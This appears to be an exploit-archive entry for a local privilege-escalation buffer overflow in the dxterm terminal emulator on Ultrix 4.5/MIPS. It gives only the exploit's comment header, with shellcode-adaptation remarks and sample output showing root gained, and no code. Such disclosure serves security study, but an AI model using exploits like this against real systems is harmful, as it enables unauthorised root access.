dxterm is a "DECwindows terminal emulator". A vulnerability in the way dxterm handles long -setup commands allows a local attacker to gain elevated privileges by overflowing an internal buffer in the program.
Exploit:
/* Ultrix 4.5/MIPS dxterm exploit
by ztion in 2004
Greets to: Stok, sidez
It wasn't possible to use '/' in the shellcode. Probably dxterm only
copies everything after the last slash, as it expects a path.
Since everything is pretty much hardcoded, you will probably have to
tweak it for versions other than 4.5
nora> ./ultrix_dxterm_4.5_exploit
$ id
uid=268(ztion) gid=15(users)euid=0(root)
*/